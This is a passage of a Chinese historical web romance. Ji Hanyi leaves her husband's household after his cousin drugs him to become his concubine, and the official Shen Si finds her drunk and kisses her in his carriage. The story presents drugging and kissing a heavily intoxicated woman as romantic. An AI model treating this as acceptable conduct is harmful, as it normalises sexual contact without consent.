林氏看谢玉恒迟迟不说话,他身上又全是伤口,整个身子软在她怀里奄奄一息的,让林氏满是伤心的几乎提不起力气来,又叫身边的婆子赶紧来将谢玉恒扶去床榻上。
只是谢玉恒却执拗的不肯起身,唇中还在喊着季含漪的名字。
林氏几乎要被谢玉恒的这副样子气得晕厥了过去,但看着谢玉恒这半死不活的样子,狠了狠心,还是叫婆子硬拖都要拖到床榻上去上药。
只是谢玉恒身上到处都是鞭伤,浑身上下也没有一块好肉,婆子们连碰都不知道往哪里碰,又是一阵兵荒马乱。
这时候季含漪已经走到了外间,里面的如何凌乱都也已经与她没了干系。
她站在外间的廊下,对着门口的丫头低声吩咐,让她去李明柔的院子里将李明柔叫过来伺候谢玉恒的养伤。
既然谢玉恒这般袒护着她,也算成全他们两人了。
那丫头听了季含漪的吩咐,都险些没有明白过来季含漪的意思。
她忍不住小声问了句:“少夫人不进去么?”
季含漪淡笑了声,又看着丫头:“我今日不在府内,待会儿若是大夫人问起,你便如实与她说就是。”
“她若是问我去哪儿,你便是我回了顾家,明日一早会回来。”
季含漪说完一边披着斗篷,一边又将雪帽戴上,微微侧脸看向站在自己身边一脸担心的林嬷嬷,她抿了抿唇,伸出手,轻轻握在林嬷嬷的手上。
廊外的白雪飘进来,沾在季含漪雪帽上的雪狐**上,她眼里含着一些愧疚,声音很轻:“我今夜不在,劳烦嬷嬷了。”
留下的这一院狼藉,不该再由她来收拾残局。
林嬷嬷红了眼眶,隐忍道:“这些都是老奴应该做的。”
又道:“只是少夫人不在,院子里该冷清下来了。”
往前即便她在的时候,这院子里也是冷清的。
她极力经营着,让这院子里看着热闹,但一个人的心是冷的,又怎么热闹的起来呢。
季含漪紧了紧林嬷嬷的手,悄无声息的踏进了风雪里。
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另一头的凝香院内,在听到婆子高兴的进来传结果的时候,李明柔身上的力气才终于全数泄去,缓缓的瘫倒在了地毯上。
她今日铤而走险,故意要去谢哥哥的书房拿书册,就是为了与谢哥哥生米煮成熟饭。
她不想离开,不想一辈子老死在乡下,她要留在谢哥哥的身边,即便是妾也好。
况且季含漪怎么能斗的过她呢,从前她争不过,
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往后也更不可能。
只要谢哥哥的心在她那里,早晚有一天,她都会坐上正妻之位,与谢哥哥光明正大的在一起的。
只是他没有想到,谢哥哥的书房居然会有人来……
不过好在,她依旧赌赢了。
身边的张嬷嬷赶紧来扶着李眀柔起来:“姑娘,先起来吧。"
李眀柔却失神的看着一处,又忽然笑了起来,眼里却冒着泪光的看着张嬷嬷:“嬷嬷,你说大爷心里真的有我么?”
张嬷嬷一愣道:“大爷心里要是没您的话,又怎么宁愿以死相逼也要留下您呢。”
李眀柔失神的看着一处,喃喃道:“是啊,谢哥哥心里怎么会没有我呢……”
可是为什么今日她与谢哥哥在书房缠绵的时候,谢哥哥抱着她,为什么喊的却是季含漪的名字。
李眀柔直到现在都还记得当她听到谢哥哥口中吐出季含漪名字时的震惊,即便她知晓谢哥哥中了药,神志不清,认不得眼前人,可还是让她对我心揪痛。
谢哥哥至始至终都是将她认成了季含漪。
李眀柔眼里的眼泪越滚越多,她忽然生了一股空虚,她做了这么多,又是为了什么。
可谢哥哥要是不喜欢她,又怎么会冒着**也要留下她呢。
李眀柔想了许久,她想,或许谢哥哥只是习惯了季含漪的,在谢哥哥的心里,始终最重要的都是她。
她撑着从地上站起来,就要往外头走:“嬷嬷,谢哥哥怎么样了?我要去看看他。”
张嬷嬷连忙拦着李眀柔,小声道:“这些日姑娘先安安静静的带着,等出去后,跪去老太太和大夫人跟前赔罪,这事就能过去了。”
“现在忍一忍,您手上那么多嫁妆呢,不用担心什么,您虽是妾,可大夫人是您亲姨母,日子难道会难么?"
“况且从前那位少夫人哪回又争过您的?”
李眀柔最初也是这样想的,即便做妾,又姨母在,谢哥哥又自小疼她,她担心什么呢,还能陪在明清身边看着他读书长大。
这样一向,李眀柔心里也安稳了,她点点头:“嬷嬷说的也对,我怕什么呢,最该怕的是季含漪。”
“来日方长,谢哥哥不喜欢她,她又用什么与我争?”
“护着她的老太太又能活多久。”
她缓缓的坐在贵妃榻上,原先惶恐的神色里终于带起了一丝笑意。
第72章 离开谢府后遇见沈肆
马车内,容春抱着那收拾好的一小匣子财物,小声问季含漪:“我们现在回顾家么?”
季含漪微微掀开旁边的帘子一角往外看去,马车驶出了胡同,熟悉的景色夹杂着风雪一一从她面前掠过,此刻天边还有一道余白,她觉得一切都静悄悄的,一切都轻快起来。
她忽然道:“容春,我想去安平桥。”
“我想饮梅子酒。”
“我还想吃桂花圆子了。”
这般说的时候,马车已经往坐落在城边的安平桥驶去了。
临近天黑,这大抵是这个冬日的最后一场雪,下午还是绵绵细雪,这会儿就忽然大了起来。
季含漪此刻坐在曾经父亲常常带她去的安平桥的桥边上。
身后是华灯初上的长街,微弱的光线蔓延在桥上,在湖水里映出暗淡又粼粼的光色。
雪帽上都已经盖了一层雪,季含漪坐在桥边,怀里抱着暖手炉,被雪风吹的微微眯着的眼睛眨了眨,又接过容春递过来的梅子酒。
她害还记得,她第一次饮梅子酒,也是父亲带她来这里饮的。
就在旁边的碧荷亭,她与父亲围炉煮酒,父亲叫她从亭里看山水,小小亭内的一方天地,往外看出去,却是绵延不绝的景色。
父亲说,即便是身陷在困局里,也要尽力往远处看,那样心境便不会被困在那一个小小的地方了会也更豁达与放得下。
季含漪小吃了一杯,她往远处看去,从前她不怎么明白,现在看着茫茫雪中的尽头,无边无际,自己在天地间不过是渺小的一粒尘埃。
只是她已经许久没有饮酒了,没来得及好好感概,就被呛了一下。
旁边容春也没好到哪里去,咳了好几声。
季含漪问:“在哪儿买的?怎么这么烈?”
容春忙道:“还是那家曲江春,从前老爷最喜欢去的。”
季含漪也咳了一声:“看来是冷酒的问题。”
容春也遗憾:“可惜这会儿不好找炉子,只能将就了。”
季含漪点点头:“将就吃两杯就行。”
季含漪说着,又小口的抿了一口,这般放肆轻松的时候,心里头竟然还有些隐隐畅快。
从前父亲最喜欢在下雪的时候饮酒了,她又看向远处,长长的叹息一声。
没有在谢家那沉甸甸的身份,没有每日如履薄冰的规整自己的仪态,也没有需要姿态恭谦的陪在婆母身边,更没有强压着所有的不快去忍受着谢玉恒的冷淡。
这大抵便是自在吧。
她才发觉,三年前她一心想要嫁入的地方,如今是自己最想逃离的。
那何尝不是围住自己的困局。
心里渐渐升起一股倦意,她轻轻道:”容春,我再也不想回谢家了。”
容春侧头看向季含漪的侧脸,小声的回话:“顾老夫人一定能为少夫人做主的,明日也一定能拿到和离书的。”
季含漪却稍失神,她不知晓会不会真的那么顺利。
容春又将怀里还冒着热气的地瓜拿出来:“少夫人喜欢的那家桂花圆子没了,奴婢便买了烤地瓜来,少夫人尝尝。”
热气腾腾的地瓜在掌心中冒着白色的热气,连手掌都被暖热了,季含漪低头咬了一口,身上也跟着暖了。
或许是饮了两盏酒,胸腔里忽然有许多许多的情绪涌起,今日一整日压抑的,所有的情绪,禁不住眼眶开始发热了。
这会儿天色已经完全黑了下来,华灯初上,容春看季含漪的身上满是雪,忙帮她扫了扫,又担心的小声道:“这里风大,还下着雪,我们要不先去廊下坐着吧。”
季含漪眼眶里晃晃荡荡的蔓延着沉甸甸想要发泄的情绪,或许是那三杯梅子酒,这会儿情绪全出来了。
她又低头,再咬了一口地瓜摇头,雪帽挡住她脸上所有情绪,红透的眼眶里漫出一汪水。
今夜之后,她或许会面临更艰难的处境,在这个最难过的时候,她只是想父亲了。
季含漪手里捧着地瓜,没吃几口就有些凉了。
她侧头看向容春:“还想吃。”
这夜黑天冷的,头顶没个遮盖,再热腾腾的地瓜也要凉。
容春就劝着:“这会儿有些黑了,少夫人先去亭中等着我,我去对街买来。”
季含漪才跟着容春撑着身子一起往旁边的碧荷亭里去。
碧荷亭周遭都种满了梅树,树枝繁茂,挡住了不远处街景的大半景色。
季含漪坐在中间的小石桌旁,容春又仔细给季含漪身上的斗篷给理了理,又将雪帽下的带子收了收,免得风吹了进去。
最后她将手炉塞进季含漪的手里,小声道:“少夫人先好好等着我,奴婢过不久便来。”
季含漪低着头,莹莹饱满的小脸儿被遮掩在银狐**的雪帽下,鼻子眼尾微微发红,又在暗色中寂寂抬头看向容春,声音在夜色中带着一股软:“马车里的灯也拿来吧,我坐一会儿便走了,外祖母还在等我。”
季含漪能在外头这般自在的时候是极少的,她早已不是当年有父母庇护着的贵女,这会儿稍稍任性这一回,却不能毫无顾忌的放肆。
说完或许是梅子酒酒意上来的缘故,她这会儿眼眶直发热,泪水在眼中打滚,也不想让容春担心,又低下了头。
容春听了季含漪的话,便忙道:“好。”
又不放心的叮嘱:“少夫人可别乱动,这会儿天暗,瞧不见路。”
季含漪唔了一声,白净的手掌低头抵在了额间。
等着容春一走,季含漪眼里的热意便滚了出来,眼前模模糊糊的,越想父亲,就越难受。
她难受不是为今日谢玉恒为了李眀柔连性命都不顾难受,她难受是因为她以为在谢家唯一对她好的老太太,也是她在谢家最信任依赖的谢老太太,却在最关键的时候也欺骗了她。
她也当真是信任谢老太太的。
她亦伤心谢家的所有决定,都要以她来委曲求全而结束。
她是无关要紧的人。
她是从不需要考虑的人。
那股憋闷,那股难受,那种觉得自己孤立无援的压抑,只有在这黑漆漆的夜里,只有在这空无一人的地方,季含漪才能发泄出来。
---
沈肆此刻正在礼部衙署正堂的恩赐宴上。
今年是官员三年一回的进京朝觐考课之年,由吏部和都察院考核地方官员,考核结束后便由礼部和光禄寺筹办,考核的官员用完恩赐宴后,便离京赴任。
这场宴会此时已经入了尾声,虽说是恩赐宴,但宴会上的官员无一敢多说话的,那礼部正堂外还站着十来位考核不称的官员,只能干站在外头,身上穿着薄衣,干巴巴的看着里头的人享受宴席。
唯有考核称职的官员脸上稍显得轻松。
这场宴会并不长,本不过是恩威并用的警示与勉励,等沈肆放下手上的木箸时,所有官员无论吃饱与否,连忙也跟着纷纷放下了手上的筷子。
沈肆起身举杯:“圣上贤明,赐此筵宴,本官与诸臣工共勉。望尔等恪尽职守,不负圣恩,饮胜!”
全场官员忙下跪齐声应和。
沈肆要离开时,这场宴会也将散去。
只是沈肆没有完全离开,谁也不敢先从位置上离开。
只是好些官员最后为着巴结,便个个大着胆子往沈肆的面前凑过去敬酒,说尽了恭维话。
谢家大老爷谢之观亦在其中。
他也不为其他的,就是想在沈肆面前露个脸,顺便提一提上回在沈府发生的事情来拉一个近乎,毕竟谁不想被沈肆记住留个好印象。
沈肆脸上依旧冷淡,依旧公事公办的寒暄,直到见着挤到他身边来的谢之观,往前离开的步子才微微一顿。
只见谢之观一靠近沈肆,脸上已不知觉的露出了两份的巴结来。
要知晓,地方官的考课是由都察院和吏部考核,沈肆得皇上宠信,本就监察百官,他的话,对于一个官员来说,重之又重。
考核结果也直接关系到仕途。
刚才外头那站着的考核不称的,轻则勒令致仕,中则黜免官职,即黜者降职,免者罢官;重则就以身家性命相抵,不仅个人要被处死,还要全家充军,财产抄没。
他今年赋税也是刚刚完成,手头上也没有大案,只是没做出什么政绩来,今年也只考核了个平常,又要在宣州呆三年,何时能够调回京也未知。
现在他只一心想着在沈肆心里留个好印象,下回考课时若是能得个称职,也能升迁回京了。
他想来想去,也只有那会季含漪在沈府出的那件事能够与沈肆搭上两句话了。
他对着沈肆抱手,说起那件事来,又道:“感念沈老夫人慈悲之心,挂念着我儿媳那件事,如今我已经给儿媳做了主,还望沈大人与沈老夫人说一声,叫沈老夫人安心。”
沈肆垂眼看着谢之观脸上那股谄媚,不由皱了眉。
谢家具是进士出身,出了三个进士,谢老太公曾是探花,还入过内阁,一身清清正正,只是长出来的树枝却歪了。
沈肆眉目疏远淡,问了句:“哦?如何处置的?”
谢之观本想着沈家这样的门第,即便关心自己儿媳,也不过是高门那些贵人淡淡的怜悯,这种怜悯因为他有,所以他也明白,多半是为了在外得个好名声。
他这会儿在这些人面前提起这事,也是为了赞颂沈老夫人的慈悲之心,用来讨好沈肆,只是万没想到沈肆还会问下去。
谢之观一愣,随即便连忙道:“下官让她跪了宗祠,鞭了身,还让她跪去儿媳面前去赎了罪过,她往后再不敢犯了。”
沈肆淡笑一声:“看来谢府的家法的确严厉,只是本官怎么听说,那被惩治的表姑娘,现在却惩治成了你长子的妾室?”
说着沈肆眼中含着淡淡讽刺:“让府里谋害主母的表姑
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娘变成了妾,与主母同一屋檐,不知道的还以为谢府抬举呢,看来谢府惩治人的方式也是别具一格。”
这话说得谢之观的脸颊一白。
他更是心头升了恐惧,这件事也不过是下午发生的事情,都御史大人又是什么时候知道的?
又想到都察院的暗线到处密布,竟然连这样的小事也知晓,那他儿子在祖母的寿宴上做出那样荒唐的事情,那都御史大人是不是也知晓了,不由后背生了层冷汗。
他正欲解释,只是沈肆却已经懒得再理会他,直接从谢之观的面前走了过去。
谢之观站在原处愣了好半晌,才后知后觉的反应过来,看着沈肆离去的背影,又赶忙追了出去。
此刻外头正下着纷纷扬扬的大雪,天色已经沉了下去。
沈肆在宴上饮了几杯酒,他平日里几乎不饮,这会儿便有些头疼。
连日来公务缠身,他连稍闲暇的时候都没有。
外头雪大,他在想,她此刻呢。
她此刻是什么心情。
文安往沈肆身边走了过来,正要说话,沈肆身后的谢之观却又追了出来,文安便退到了一边。
沈肆颇冷淡的看了谢之观一眼,他身着官服,长身玉立的站在礼部衙署门前,身前是鹅毛大雪,身后是谢之观满脸冒汗的一脸惶恐。
谢之观往沈肆身边来,一来便弓腰,姿态放低,朝着沈肆便低声道:“沈大人误会,还请沈大人稍留步听下官解释。”
沈肆淡淡的看着谢之观,冷笑了一声。
他不需要听这谢之观什么解释,相反,他倒是乐意见这样的场面。
这一家子也不值得季含漪呆在那里。
她正好也能认清她从前喜欢的谢玉恒,到底是个什么样的人。
值不值得她托付真心。
眉间已经有了不耐烦,沈肆披上大氅,扫了扫身上的袍子,接着直接无视谢之观,从他面前走过,上了前面的马车。
马车上放着炭火,身上那身公袍已经被化了的雪染了一些湿气,沈肆微皱眉,修长挺拔的身子稍躬身,骨节分明的手在脚下的炭火上烤了烤。
火光映亮那张历来高华冷清的面容,长眉间还带着股疏远。
谢之观见着沈肆这样的态度却不敢放弃,赶忙又追到沈肆的马车外头,对着那坐在帘子内的人便作揖道:“沈大人,下官只说一句。”
接着谢之观怕沈肆的马车直接走了,又赶紧说了接下来的话:“我儿绝没有要纳妾的意思,等明日,下官便让内人将她送回老家去。”
沈肆本正不耐烦的揉着眉间,听见了谢之观的这一句话,微微一顿,手指放下来,掀开了旁边的帘子。
此刻天色已经黑下来,旁边的随从护卫手上提着灯笼,礼部衙署前已经覆了薄薄的一层白雪,谢之观站在白雪之上,站在寒风里,却是额头上涔出了一层冷汗。
他为的是儿子的前程,哪怕沈肆只是在皇上面前提起这么一嘴,自己儿子的前程恐怕就要止步不前了。
孝道大于天,真要**下来,只怕自己都护不了儿子的前程。
沈肆清贵的面容上覆了一层风雪里的寒霜与不近人情,那双历来不动声色的眼睛此刻仅仅是微微一眯,就叫谢之观心里头一紧。
沈肆淡淡的开口:“哦?送走?”
谢之观赶紧点头:“明日就送走,犬子与她根本没有什么,全是她算计下药的。”
沈肆挑眉。
这事他心里清楚怎么回事,他的人盯着那李明柔的一举一动,甚至李明柔偷偷让她身边的那个老嬷嬷出去买催情散的事情他都知晓。
他不动声色,就是要让谢玉恒与李明柔在一起。
只有他们在一起了,季含漪才能彻底死心,才能有理由从谢府和离。
刚才他提出来,只是要让众人知晓谢玉恒先纳妾了,这样对对季含漪往后名声来说更有利一些,毕竟是谢家先毁了约。
沈肆又看了谢之观一眼:“要了人姑娘身子又送走?”
又嗤笑:“那可不是奴才,本官没记错的话,那可是被圣上嘉赏过的李知府的女儿。”
谢之观一下子哑口了,这一刻好似怎么回答都都不对。
他小心地看着沈肆问:“那这事……”
沈肆放下了帘子:“这事便罢了。”
简简单单的几个字,叫谢之观心里头大松了一口气,连忙对着帘子深深躬身下去,心里头却仍旧后怕的心跳如鼓。
沈肆让马车前行,低头烤了烤手,眼皮也未抬一下,又道了个字:“说。”
冷冽冷静的声音,叫早就在外头等着传话的文安心里一惊,又赶紧跟着马车,对着那道隔着的帘子,先压低了声音说了第一句:“谢少夫人下午的时候从谢府出来了,像是临时走的。”
沈肆指尖一顿,抬起了眼帘。
文安又低低说了个地方,沈肆抿唇,让马车往安平桥去。
第73章 被沈肆横抱进马车
寂寂的夜色里,一辆马车缓缓停在安平桥后不远处的地方,沈肆一根手指掀开马车帘子一角,凉薄的眼神静静看着暗色里的那个缩成一团的人影。
那人影微微耸动,看起来好似在落泪。
这里并不是热闹的地方,城郊偏僻处,景色是独好的。
不过是谢玉恒纳妾罢了,为着一个这样的人,并不值得。
季含漪这会儿正撑在石桌上,她似乎做了一个长长的梦境,梦境里父亲正抱着她去热闹的铺子里,问她想要买哪块糖糕。
眼睛眯开一条缝,朦胧间,她又见着母亲站在不远处笑着看着她与父亲,她眼眶又发热起来,往母亲那头走。
寒冷的狂风穿过凉亭吹进她的领子,发丝擦过脸颊飞入半空,她丝毫觉察不出来冷,她只想,一切都还是原来的那般,一切都还是好好的。
父亲好好的。
母亲也好好的。
只是她伸出来才要牵住母亲的手的时候,身子却忽被一股力道拉了起来,腰上被一只手紧紧捏着,额头处撞到了一处坚硬的地方,头顶上传来一道热气,严肃又带急促的声音落在耳边:“你在做什么?”
季含漪怔了下,抬头在一片昏暗之色里,只看得见一双黑漆漆的眼睛。
那双眼睛里满是沉色,还带着一股压迫的威严,像极了她做错了事情被父亲责问的时候。
季含漪有些伤心委屈,低头便将额头抵在了那宽阔的胸膛上,眼里滚出来的泪水一下子染湿了沈肆胸前衣襟。
沈肆一愣,看着季含漪反常的动作,伸手抬起了季含漪的下巴。
桌上只有一盏快要燃尽的烛火,光线微弱。
即便在这样微弱的光线里,季含漪那眼尾的通红也清晰瞧得见。
她那双漂亮至极的眼睛里不停滚着泪珠子,身上隐隐带着一股酒香气,她那双眸子正怔怔茫然的看着他,像是有些被她吓住了,又像是伤心极了。
这副模样楚楚可怜,本就漂亮的眼眸泪盈盈的,即便是再硬的心肠,此刻见她这般模样也就为她软了。
靠在他怀里的身子轻软又柔若无骨,沈肆深吸了口气,缓下了眉目。
指尖上是她绵软的温度,他却依旧皱着眉看向季含漪:“落下去了怎么办?”
只是隔了许久沈肆才等到人的反应,他看她茫然的抬头,又迟钝的摇头,声音里还带着软绵绵的沙哑,又迷迷茫茫的往他的怀里靠过来:"不会掉下去的。"
寻常季含漪是不会这样的。
除非她并不认得面前的人是谁。
沈肆低低看着季含漪雾水蒙蒙的眸子,眸子里含着一汪水,水涟涟闪烁着,她身上的酒味并不难忽视。
她好似是醉了。
沈肆的目光看向石桌上的碧玉酒瓶,上头写着梅山酒。
梅山酒。
沈肆又皱了眉。
他拿起酒瓶看了看,好在她只饮了小半,这般烈的酒,她从未饮过酒的人,亏的她饮的下去。
又见石桌旁边的容春也趴在了桌上,显然这主仆两人都醉了。
沈肆的视线又重新停留在怀里季含漪的脸庞上。
她饮酒是为了谢玉恒么。
刚才他远远看见她起身往廊边去,他以为她要为了谢玉恒纳妾的事情心灰意冷的轻生。
那一刻他的心骤停,拉着她从桥边过来又带了抹气恼,即便在谢家不如意,但天大的事情也不值得她这样做。
可这会儿见着季含漪朦胧又通红的眼眸,心里又不忍心怪她,大不了就算她舍不得谢玉恒,舍不得离开谢家,他帮她就是。
哪怕要把那李明柔扔的远远的,他也帮她就是。
心里仍旧带着股后怕的心悸,沈肆握在季含漪腰上的手指都在隐隐发抖。
这股熟悉的感觉,一如他那年看见她落水的时候一样。
手上的力道不由又紧了紧,紧紧按着季含漪的后背紧贴在胸膛上。
胸腔内猛烈急促的心跳声,在她馨软的身子贴上来的那一刻,在她身上的温度传递过
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来的那一刻,紧张的心绪才慢慢平稳。
他低头,下巴扫过季含漪发上那半落的毛茸茸的风帽,看着她浓密乌发下白润的脸庞。
湿漉漉的眼睛梨花带雨,潮湿的长睫不停轻颤,被封吹红的鼻头吸了吸,白色的贝齿咬着红艳饱满的唇畔。
沈肆喉咙间滚了滚,那股差点失去她的情绪余韵还在,紧绷的身躯在此刻全都化为了对她的占有。
她为什么还这般伤心。
难道她对谢玉恒这样的人,还有期许。
可谢玉恒根本不值得她这般。
沈肆心里忽有一股抒发不出来的郁气,他珍重不愿逼迫的人,却被谢玉恒这般对待。
谢玉恒在他眼里又算什么?
只要他想,谢玉恒连在大理寺待下去的资格都没有。
身上的情绪早已不是他的能控制的,手指紧紧握在季含漪细腰上,他将她整个人横抱进怀里,往不远处的马车上去。
步履带着他自己都不知晓的急促。
季含漪的腰上被沈肆捏的生疼,她朦朦胧胧里只觉自己还如小时候被父亲抱在怀里,还闹着父亲带她去看雪,又在沈肆的怀里蹭了蹭。
雪帽上的细绒蹭到沈肆颈间,沈肆长长的深吸一口气,体内因她而生被长久压制的**,此刻几欲喷涌而出。
这头文安瞧见自己主子居然将谢夫人这样抱进了马车,吓得腿都软了。
尽管主子去的时候让他连车夫都支开了,可这里可还是在外头,万一被人瞧见了,那可就是天大的事情了。
自家侯爷夜里抱着谢家之妇上了马车,这要传了出去,他想都不敢想,自己只怕也要以死谢罪了。
文安简直比主子还要着急几分,一直等到主子已经上了马车,这才松了口气。
他远远看着还趴在石桌上睡着的容春,又忙去解了身上的斗篷盖在她身上,还往她身边放了个火盆。
这谢夫人身边的人,他自然也要照顾的好好的,不敢给出个什么闪失出来。
第74章 主动吻上沈肆唇瓣
季含漪的身量虽说有些娇小,但却不瘦,看起来就水灵灵的很饱满。
这会儿她迷迷糊糊被抵在马车角落,面前人影暗沉,本就不大明朗的光线,被沈肆高大的身躯挡住了大半,将她整个人都被拢在沈肆的阴影下。
季含漪这时还如坠梦中,眼眸半闭,惺忪眸子看了看,只见着面前的人一身绯色红衣,垂下眼帘又看到的是公服上的花犀带,抬起眼帘又是那胸前的猛兽图案。
她分不清面前看到的是什么,伸手想要去触碰眼前的那只獬豸刺绣,又觉得那獠牙对着自己吓人的很,昏昏沉沉眼皮发重,指尖就顺手紧捏在沈肆的衣襟上。
沈肆看了眼季含漪此刻的模样,又低头看向她捏在自己衣襟上的手指。
他向来仪容整洁,身上的衣裳见不得发皱,此刻被季含漪这么捏出褶皱来,他却瞧着那白嫩嫩的手半晌,指尖动了动,最终还是伸出手,将她的手包裹在了自己的掌心,又看向季含漪的脸庞。
她眼中还残着惺忪的泪意,晕红的眼尾,长睫还在轻颤。
烟烟眉眼被染了水雾,耳边晶莹绿色耳坠隐隐闪烁,红唇上咬出来的印子嫣然水亮,看得沈肆不由身上一紧。
她全是不知晓她这会儿是多勾人的。
手掌中的手很软,也很乖巧,任凭被他揉捏在掌心,她也没有动。
她似是真的醉了。
但沈肆还是轻轻的将季含漪的手放下,他碰她的手有些凉,又将她的手捂在自己心口上暖着。
他细细看她妩妩染着红晕的眉眼,压低肩膀,声音里带着他自己都未察觉的沙哑:“谢夫人。”
季含漪似是听到了,却蹙了眉。
也不知道她此刻梦境中又是什么,那只被沈肆放在胸口的手,又往前抵过去,细软的指尖馨软馨香,像是在推拒他,又像是在邀请。
沈肆低低闷叹了声,深吸了一口气。
但那只手很快便没了力气了,又软了下午,被他的手握紧。
沈肆坐在季含漪身侧,一只手正撑在她脸旁,低头看着季含漪眼里的泪光,她眼里湿濡一片,白嫩脸颊上还有泪痕,即便醉了酒,她看起来也是安静的,动也没有怎么动一下。
那发上的雪帽已经落了下来,露出她一头青丝,云鬓朱翠在他沉暗的眼里略过,她白皙的颈脖露出让人遐想的景色。
体内的热流在翻滚乱窜,沈肆撑着的手掌渐渐捏成了拳,宽阔的后背已控制不住的往下压了下去。
他眼中只有那半开的红唇。
他想,她也快要与谢玉恒和离,她今日出了谢家,便不再回去便是,他为她一切都安排好。
每个深夜都朝思暮想的人,此刻就在自己的身边。
沈肆即便是善于隐忍的,但体内对她本能的冲动与喜欢,已经全不是他自己能够克制得住的。
此刻季含漪又低低喃喃。
她的声音含糊,似是在说醉话。
又见她蹙眉蹙起,又似是有些难受。
饮了那么烈的酒,又怎么会不难受呢。
沈肆微微起身,到底克制住了自己,轻叩车厢。
文安早就早外头侯着,见着主子又吩咐,赶忙上前。
沈肆让文安去准备好醒酒的汤药来,文安应着,心里头却是为主子惋惜。
主子什么都好,就是太过于正经了。
现下谢夫人既然醉了,这儿又没别人,到时候生米煮成熟饭,那谢夫人还能不从么?
不然就主子这万年冷淡的面容,只怕那谢夫人一辈子都不知晓主子喜欢她。
只不过文安想归想,但做事还是很麻利的,很快醒酒汤便送来了,还给容春也准备了一碗。
马车内的沈肆接过药碗,弯腰将一勺药送去季含漪的唇边。
只是醉酒睡去的人显然并不想配合,偏着头就是不愿饮。
季含漪几乎没什么小性子,从前整个人都是软糯糯的,倒是这会儿像是被扰了梦,下意识的伸手推开,汤药却撒在了领口上。
沈
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肆低低一声轻叹,历来冷清的眼神已含了点点柔情,用帕子替她领口擦了擦,又弯着腰,沙哑的低低哄着她一点点吃。
季含漪还是很听话的,即便醉了,也没有使性子,推了几回就乖乖的张嘴,她性子历来软,谁与她说软话,她便心软了。
其实沈肆从来都知晓关于季含漪的一切,她的性子,她的喜好,只是她未必了解过他。
喝了半碗的醒酒汤,那红艳的唇瓣上染上水色,沈肆见她紧闭的眼角缓缓落下一滴泪珠,才伸手为她擦去。
只是离开时却被一只软软的手指握住。
她眉目间似是很委屈,捏着她的手往怀里抱,手掌落在她饱满的胸脯上,沈肆身上一紧,却不禁压低身子,任由她抱着手臂,
她身上的软香扑来,他终于听清她在说什么。
她叫他抱她。
又或许她喊的本不是他。
但季含漪的手指已经环在他的腰上,脸庞往他颈脖处蹭过来,又是哑哑的一声软语:“爹爹……”
沈肆的身体微微僵住,又扯了扯唇角。
将他当作了她爹爹,也总比将他当作其他人好。
马车虽说宽大,但两个人躺着还是稍显的拥挤,沈肆只是半撑着身,任由身侧的人环在他腰上。
季含漪领口前因刚才吃醒酒汤撒了些,沈肆怕凉着她,用帕子要为她垫上,只是才一低头,脖子上就环过来一只软软的手臂,沈肆一顿下低头,就见身下醉的不成样子的人依旧闭着眼睛,却抱着他脖子往他身上压过来。
沈肆静静看着季含漪闭着眼的模样,软嫩妩媚,娇小的等着被生吃入腹,放在她腰上的手指不由得一紧。
他不是没有任何七情六欲的人,她的主动亲近几乎点燃的体内本就沸腾的欲望,
他抱紧他细腰侧着身,薄唇离她唇瓣只有一指,沈肆喉咙间难得紧张的滚了滚。
他依旧在压抑克制,可面前那张近在咫尺的唇,却主动轻轻的碰了过来。
第75章 她给他的销魂蚀骨
季含漪的唇很软。
软的如一滩水。
软的好似一抿就要化开。
尽管知晓季含漪根本不知晓自己在做什么,可沈肆早已无法克制住自己,将这个吻深入下去。
身体已崩成了一根细玄,抵在季含漪后背上的手掌忍不住将怀里软嫩的身子紧紧按紧在怀中。
即便这不是第一次吻她。
第一回是她落水时,他还不明白如何吻,只会轻轻触碰她唇瓣。
如今尝到她口中的香甜,沈肆只觉得浑身生了层热汗,销魂蚀骨的感觉叫他几乎失去了理智,原来他以为的那些克制,在此刻面前早已土崩瓦解。
他脑中早已摒弃所有的理智,甚至他想要对她做的一切,此刻都在脑中疯狂的翻涌。
捏在她腰上的手背早已露出青筋,他只想要越吻越深,只想要她的身子越来越紧的贴着她。
只想要与她彻夜缠绵。
他终体会到那股销魂蚀骨的感觉,唯有她能给他。
他看着她迷迷蒙蒙似有些难受半睁的眼睛,看着她青山似的细眉弯弯,潮湿的睫毛在轻颤,芳香郁烈,短线的泪珠子一颗颗从她眼角滚下来,又落入她浓密的鬓发中,红晕与艳色并存,摄魂夺魄。
沈肆不能自己,拇指抚在她眼角上,指下软腻潮湿如绸缎,他闷哼了几声,粗粗喘息,直到她开始难耐的轻吟,放在他腰上的手抵在了他胸膛上。
理智在她难受的轻吟中一瞬间回神,沈肆蓦然抬起身,看向季含漪那张嫣红的红唇,被他蹂躏的微微发肿。
他指尖不由轻轻触碰上去,便换来人撒娇似的一声细细哑哑的疼。
沈肆指尖僵住,隐忍到额间出了汗也没有再碰她,只低头愧疚的将人揽进怀里安抚,下巴抵在她秀气的肩膀上,意乱情迷的神情渐渐恢复如常的冷清高华,又闭着眼睛轻抚在她单薄后背上。
---
季含漪稍微醒来的时候,周遭先是雾蒙蒙的,光线昏暗,眼前似有人影。
她努力的眨着眼睛,等眼前渐渐清晰时,见着的就是沈肆坐在她身边,低头看着她的场景。
她见着沈肆穿着一身红色公服,这是季含漪第一回见沈肆穿公服的模样,或许是因为这身公服,更显得他威严和疏离。
更得他此刻看在自己身上的眼神淡漠。
季含漪脑中一片空白,她只记得自己做了一场小时候父亲带她上街,哄她入睡的梦,却没想到梦醒后,此刻的自己会躺在沈肆的身边。
她连要说什么都忘了,仰着头,潮湿的眼眸怔怔的看着慢慢靠近的沈肆。
她甚至能够感受到沈肆呼出的沉稳的气息,但是他面无表情,眼底很黑,高华的面容上有股不通人情的疏离与贵气,季含漪连躲都不敢躲。
在她心里,宁愿相信沈肆此刻是要在她脸上找什么东西,都不敢乱想其他的。
她乱糟糟的想,他这么做一定有他的道理的,她要是乱动,他或许会不高兴。
他身上的气息与味道很清晰,季含漪到底是有点顶不住沈肆的这股压迫,心头慌乱的跳动着,微微偏了偏眼眸。
沈肆静静看着季含漪偏头的动作,看着她被他吻的嫣红的唇瓣,指尖捏紧,又不动声色的垂眸,掩盖住了所有晦暗的神色。
身体依旧一刻不停的在叫嚣着,一旦品尝过她身上销魂柔软的味道,便如染上了**,再无药可治。
此刻身下的人明显什么也不明白他此刻最想对她做什么,更不知晓他刚才对她做过什么,她甚至十分信任他,连躲避都不曾。
那清澈无辜又泪盈盈的眸子,叫沈肆觉得自己已经站在万丈深渊前,他对她的情与欲望,一踏足便要跌入堕落的深渊,一生只能牢牢将她紧锁在身边,与他一起沉沦。
